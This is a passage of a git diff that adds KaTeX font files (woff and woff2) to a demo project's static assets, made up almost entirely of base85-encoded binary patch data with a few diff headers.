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 a^|k5z`r34UeQg~YeP3G~_EX$#+W!Ytlnjvo literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size2-Regular.woff b/demo/static/dist/assets/KaTeX_Size2-Regular.woff new file mode 100644 index 0000000000000000000000000000000000000000..d241d9be2d317f7b39b401d96c8b18836acea0fa GIT binary patch literal 6188 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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size2-Regular.woff2 b/demo/static/dist/assets/KaTeX_Size2-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..e1bccfe2403a4ed770c1697ae7c15b9e1cd9bc4e GIT binary patch literal 5208 zcmV-e6sPNVPew8T0RR9102EjN4gdfE04)>%02BcL0RR9100000000000000000000 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 